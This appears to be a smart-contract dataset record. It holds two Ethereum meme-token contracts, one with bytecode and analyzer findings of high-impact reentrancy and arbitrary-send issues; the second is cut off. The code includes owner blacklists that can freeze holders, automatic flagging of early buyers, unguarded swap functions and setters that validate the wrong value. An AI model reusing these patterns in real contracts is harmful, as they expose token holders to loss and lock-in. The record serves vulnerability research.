IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyTokens = 1000000000 * 10**9; _maxWallet = 2000000000 * 10**9; _removedTxnLimit = true; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setEnableLimitedTxn(bool enable) external onlyOwner() { _removedTxnLimit = enable; } function setMaxAmount(uint maxBuyTokens, uint maxWallet) external onlyOwner(){ if( _maxBuyTokens>= 500000000 ){ _maxBuyTokens = maxBuyTokens; _maxWallet = maxWallet; } } function setFees(uint bFee, uint sFee) external onlyOwner() { require(bFee < 15 && sFee < 15 ); _bFee = bFee; _sFee = sFee; emit FeesUpdated(_bFee, _sFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateMarketingWallet(address newAddress) external onlyOwner(){ _MarketingWallet = payable(newAddress); emit MarketingWalletUpdated(_MarketingWallet); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101fd5760003560e01c8063715018a61161010d578063b0e9fffe116100a0578063db92dbb61161006f578063db92dbb6146105c3578063dcb0e0ad146105d8578063dd62ed3e146105f8578063e9e1831a1461063e578063fdf7cd931461065357600080fd5b8063b0e9fffe14610563578063b515566a14610579578063c3c8cd8014610599578063c9567bf9146105ae57600080fd5b806395d89b41116100dc57806395d89b41146104dc5780639e78fb4f1461050e578063a9059cbb14610523578063aacebbe31461054357600080fd5b8063715018a61461047257806382247ec0146104875780638da5cb5b1461049d57806394b8d8f2146104bb57600080fd5b806330380a46116101905780633bbac5791161015f5780633bbac579146103b657806349bd5a5e146103ef5780636755a4d0146104275780636fc3eaec1461043d57806370a082311461045257600080fd5b806330380a4614610339578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b80631fe0371e116101cc5780631fe0371e146102ce5780632188650e146102e457806323b872dd1461030457806327f3a72a1461032457600080fd5b806306fdde0314610209578063095ea7b3146102565780630b78f9c01461028657806318160ddd146102a857600080fd5b3661020457005b600080fd5b34801561021557600080fd5b506102406040518060400160405280600b81526020016a4b696e69726f2042616e6b60a81b81525081565b60405161024d91906117af565b60405180910390f35b34801561026257600080fd5b50610276610271366004611829565b610673565b604051901515815260200161024d565b34801561029257600080fd5b506102a66102a1366004611855565b610689565b005b3480156102b457600080fd5b5068056bc75e2d631000005b60405190815260200161024d565b3480156102da57600080fd5b506102c060095481565b3480156102f057600080fd5b506102a66102ff366004611855565b61071c565b34801561031057600080fd5b5061027661031f366004611877565b610762565b34801561033057600080fd5b506102c06107b6565b34801561034557600080fd5b506102a66103543660046118c6565b6107c6565b34801561036557600080fd5b5061036e600981565b60405160ff909116815260200161024d565b34801561038c57600080fd5b506102a661039b3660046118f9565b61080c565b3480156103ac57600080fd5b506102c0600e5481565b3480156103c257600080fd5b506102766103d13660046119be565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fb57600080fd5b5060085461040f906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b34801561043357600080fd5b506102c0600c5481565b34801561044957600080fd5b506102a661089e565b34801561045e57600080fd5b506102c061046d3660046119be565b6108ab565b34801561047e57600080fd5b506102a66108c6565b34801561049357600080fd5b506102c0600d5481565b3480156104a957600080fd5b506000546001600160a01b031661040f565b3480156104c757600080fd5b50600f54610276906301000000900460ff1681565b3480156104e857600080fd5b50610240604051806040016040528060068152602001654b494e49524f60d01b81525081565b34801561051a57600080fd5b506102a661093a565b34801561052f57600080fd5b5061027661053e366004611829565b610b15565b34801561054f57600080fd5b506102a661055e3660046119be565b610b22565b34801561056f57600080fd5b506102c0600a5481565b34801561058557600080fd5b506102a66105943660046118f9565b610ba1565b3480156105a557600080fd5b506102a6610cba565b3480156105ba57600080fd5b506102a6610cd0565b3480156105cf57600080fd5b506102c0610d4c565b3480156105e457600080fd5b506102a66105f33660046118c6565b610d64565b34801561060457600080fd5b506102c06106133660046119db565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064a57600080fd5b506102a6610de3565b34801561065f57600080fd5b5060075461040f906001600160a01b031681565b6000610680338484610f8c565b50600192915050565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016106b390611a14565b60405180910390fd5b600f821080156106cc5750600f81105b6106d557600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000546001600160a01b031633146107465760405162461bcd60e51b81526004016106b390611a14565b631dcd6500600c541061075e57600c829055600d8190555b5050565b600061076f8484846110b0565b6001600160a01b038416600090815260036020908152604080832033845290915281205461079e908490611a5f565b90506107ab853383610f8c565b506001949350505050565b60006107c1306108ab565b905090565b6000546001600160a01b031633146107f05760405162461bcd60e51b81526004016106b390611a14565b600f8054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146108365760405162461bcd60e51b81526004016106b390611a14565b60005b815181101561075e5760006005600084848151811061085a5761085a611a76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089681611a8c565b915050610839565b476108a88161147c565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016106b390611a14565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016106b390611a14565b600f5460ff16156109875760405162461bcd60e51b81526004016106b390611aa7565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a109190611ade565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a819190611ade565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ace573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af29190611ade565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b60006106803384846110b0565b6000546001600160a01b03163314610b4c5760405162461bcd60e51b81526004016106b390611a14565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e7906020015b60405180910390a150565b6000546001600160a01b03163314610bcb5760405162461bcd60e51b81526004016106b390611a14565b60005b815181101561075e5760085482516001600160a01b0390911690839083908110610bfa57610bfa611a76565b60200260200101516001600160a01b031614158015610c4b575060065482516001600160a01b0390911690839083908110610c3757610c37611a76565b60200260200101516001600160a01b031614155b15610ca857600160056000848481518110610c6857610c68611a76565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610cb281611a8c565b915050610bce565b6000610cc5306108ab565b90506108a8816114b6565b6000546001600160a01b03163314610cfa5760405162461bcd60e51b81526004016106b390611a14565b600f5460ff1615610d1d5760405162461bcd60e51b81526004016106b390611aa7565b600f805442600e55670de0b6b3a7640000600c55671bc16d674ec80000600d5562ff00ff191662010001179055565b6008546000906107c1906001600160a01b03166108ab565b6000546001600160a01b03163314610d8e5760405162461bcd60e51b81526004016106b390611a14565b600f805463ff000000191663010000008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610b96565b6000546001600160a01b03163314610e0d5760405162461bcd60e51b81526004016106b390611a14565b600f5460ff1615610e305760405162461bcd60e51b81526004016106b390611aa7565b600654610e519030906001600160a01b031668056bc75e2d63100000610f8c565b6006546001600160a01b031663f305d7194730610e6d816108ab565b600080610e826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610eea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0f9190611afb565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a89190611b29565b6001600160a01b038316610fee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106b3565b6001600160a01b03821661104f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106b3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16156110d657600080fd5b6001600160a01b03831661113a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106b3565b6001600160a01b03821661119c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106b3565b600081116111fe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106b3565b600080546001600160a01b0385811691161480159061122b57506000546001600160a01b03848116911614155b1561141d576008546001600160a01b03858116911614801561125b57506006546001600160a01b03848116911614155b801561128057506001600160a01b03831660009081526004602052604090205460ff16155b1561133557600f5460ff166112d75760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106b3565b42600e5460b46112e79190611b46565b1180156112fc5750600f5462010000900460ff165b1561133157600c5482111561131057600080fd5b600d5461131c846108ab565b6113269084611b46565b111561133157600080fd5b5060015b600f54610100900460ff1615801561134f5750600f5460ff165b801561136957506008546001600160a01b03858116911614155b1561141d576000611379306108ab565b9050801561140657600f546301000000900460ff16156113fd57600b54600854606491906113af906001600160a01b03166108ab565b6113b99190611b5e565b6113c39190611b7d565b8111156113fd57600b54600854606491906113e6906001600160a01b03166108ab565b6113f09190611b5e565b6113fa9190611b7d565b90505b611406816114b6565b478015611416576114164761147c565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061145f57506001600160a01b03841660009081526004602052604090205460ff165b15611468575060005b611475858585848661162a565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561075e573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114fa576114fa611a76565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611553573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115779190611ade565b8160018151811061158a5761158a611a76565b6001600160a01b0392831660209182029290920101526006546115b09130911684610f8c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906115e9908590600090869030904290600401611b9f565b600060405180830381600087803b15801561160357600080fd5b505af1158015611617573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611636838361164c565b905061164486868684611670565b505050505050565b60008083156116695782156116645750600954611669565b50600a545b9392505050565b60008061167d848461174d565b6001600160a01b03881660009081526002602052604090205491935091506116a6908590611a5f565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116d6908390611b46565b6001600160a01b0386166000908152600260205260409020556116f881611781565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173d91815260200190565b60405180910390a3505050505050565b60008080606461175d8587611b5e565b6117679190611b7d565b905060006117758287611a5f565b96919550909350505050565b3060009081526002602052604090205461179c908290611b46565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117dc578581018301518582016040015282016117c0565b818111156117ee576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a857600080fd5b803561182481611804565b919050565b6000806040838503121561183c57600080fd5b823561184781611804565b946020939093013593505050565b6000806040838503121561186857600080fd5b50508035926020909101359150565b60008060006060848603121561188c57600080fd5b833561189781611804565b925060208401356118a781611804565b929592945050506040919091013590565b80151581146108a857600080fd5b6000602082840312156118d857600080fd5b8135611669816118b8565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561190c57600080fd5b823567ffffffffffffffff8082111561192457600080fd5b818501915085601f83011261193857600080fd5b81358181111561194a5761194a6118e3565b8060051b604051601f19603f8301168101818110858211171561196f5761196f6118e3565b60405291825284820192508381018501918883111561198d57600080fd5b938501935b828510156119b2576119a385611819565b84529385019392850192611992565b98975050505050505050565b6000602082840312156119d057600080fd5b813561166981611804565b600080604083850312156119ee57600080fd5b82356119f981611804565b91506020830135611a0981611804565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a7157611a71611a49565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611aa057611aa0611a49565b5060010190565b60208082526017908201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b600060208284031215611af057600080fd5b815161166981611804565b600080600060608486031215611b1057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3b57600080fd5b8151611669816118b8565b60008219821115611b5957611b59611a49565b500190565b6000816000190483118215151615611b7857611b78611a49565b500290565b600082611b9a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bef5784516001600160a01b031683529383019391830191600101611bca565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ff531f8f635f0521f5c6eaafca1b1b3d28f705b0297309f54777c493cfdf915264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,331
0xf36119c88fb85ffa09219dd8e8bdba5007ce2aa0
/** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract APES is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"HypeApes"; string private constant _symbol = unicode"APES"; uint256 private minContractTokensToSwap = 1e9 * 10**9; uint8 private constant _decimals = 9; uint256 private _taxFee = 0; uint256 private _teamFee = 10; uint256 private _liquidityFeePercentage = 0; uint256 private _maxWalletPercentage = 1; uint256 private launchBlock = 0; uint256 private _maxBuyAmount; uint256 private _baseFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _swapAll = false; bool private _takeFeeFromTransfer = false; bool private inSwap = false; bool private _noTaxMode = false; mapping(address => bool) private automatedMarketMakerPairs; event Response(bool feeSent, bool marketingSent); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if (block.number <= launchBlock + 4) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _bots[to] = true; } } if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (amount >= balanceOf(uniswapV2Pair).mul(25).div(100)) { _teamFee = _baseFee - 6; } else if (amount >= balanceOf(uniswapV2Pair).mul(15).div(100)) { _teamFee = _baseFee - 4; } else if (amount >= balanceOf(uniswapV2Pair).mul(5).div(100)) { _teamFee = _baseFee - 2; } else { _teamFee = _baseFee; } uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxWalletPercentage).div(100), "amount exceeds max wallet holdings"); if (_maxBuyAmount > 0) { require(amount <= _maxBuyAmount, "amount exceeds max buy"); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if (amount >= balanceOf(uniswapV2Pair).mul(25).div(100)) { _teamFee = _baseFee + 30; } else if (amount >= balanceOf(uniswapV2Pair).mul(15).div(100)) { _teamFee = _baseFee + 15; } else if (amount >= balanceOf(uniswapV2Pair).mul(5).div(100)) { _teamFee = _baseFee + 5; } else { _teamFee = _baseFee; } if(contractTokenBalance > minContractTokensToSwap) { if(!_swapAll) { contractTokenBalance = minContractTokensToSwap; } if (_liquidityFeePercentage > 0) { swapAndLiquify(contractTokenBalance); } else { swapWithoutLiquify(contractTokenBalance); } } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode) { takeFee = false; } if(!_takeFeeFromTransfer && !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 teamFeePercentage = 100 - _liquidityFeePercentage; uint256 amtForLiquidity = contractTokenBalance.mul(_liquidityFeePercentage).div(100); uint256 halfLiq = amtForLiquidity.div(2); uint256 amountToSwapForETH = contractTokenBalance.sub(halfLiq); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 feeBalance = ethBalance.mul(teamFeePercentage).div(100); sendETHToFee(feeBalance); uint256 ethForLiquidity = ethBalance - feeBalance; if (halfLiq > 0 && ethForLiquidity > 0) { // add liquidity addLiquidity(halfLiq, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, amtForLiquidity); } } function swapWithoutLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function manualSwapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { (bool fee, ) = _FeeAddress.call{value: amount.mul(3).div(10)}(""); (bool marketing, ) = _marketingWalletAddress.call{value: amount.mul(7).div(10)}(""); emit Response(fee, marketing); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; automatedMarketMakerPairs[uniswapV2Pair] = true; launchBlock = block.number; _maxBuyAmount = 2500000000 * 10**9; } function setMarketingWallet (address payable marketingWalletAddress) external onlyOwner() { _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function setFeeAddress (address payable feeAddress) external onlyOwner() { _isExcludedFromFee[_FeeAddress] = false; _FeeAddress = feeAddress; _isExcludedFromFee[feeAddress] = true; } function excludeFromFee (address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTakeFeeFromTransfer(bool onoff) external onlyOwner() { _takeFeeFromTransfer = onoff; } function setBaseFee(uint256 fee) external onlyOwner() { require(fee <= 10, "Base fee must be less than 10"); _baseFee = fee; } function setTaxFee(uint256 tax) external onlyOwner() { require(tax <= 5, "tax must be less than 5"); _taxFee = tax; } function setNoTaxMode(bool onoff) external onlyOwner() { _noTaxMode = onoff; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { require(_liquidityFeePercentage >= 0 && _liquidityFeePercentage <= 100, "liquidity fee percentage must be between 0 to 100"); _liquidityFeePercentage = liquidityFee; } function setMinContractTokensToSwap(uint256 numToken) external onlyOwner() { minContractTokensToSwap = numToken; } function setMaxWalletPercentage(uint256 percentage) external onlyOwner() { require(percentage >= 0 && percentage <= 100, "max wallet percentage must be between 0 to 100"); _maxWalletPercentage = percentage; } function setMaxBuy(uint256 amt) external onlyOwner() { _maxBuyAmount = amt; } function setSwapAll(bool onoff) external onlyOwner() { _swapAll = onoff; } function setBots(address[] calldata bots_) external onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) external onlyOwner { _bots[notbot] = false; } 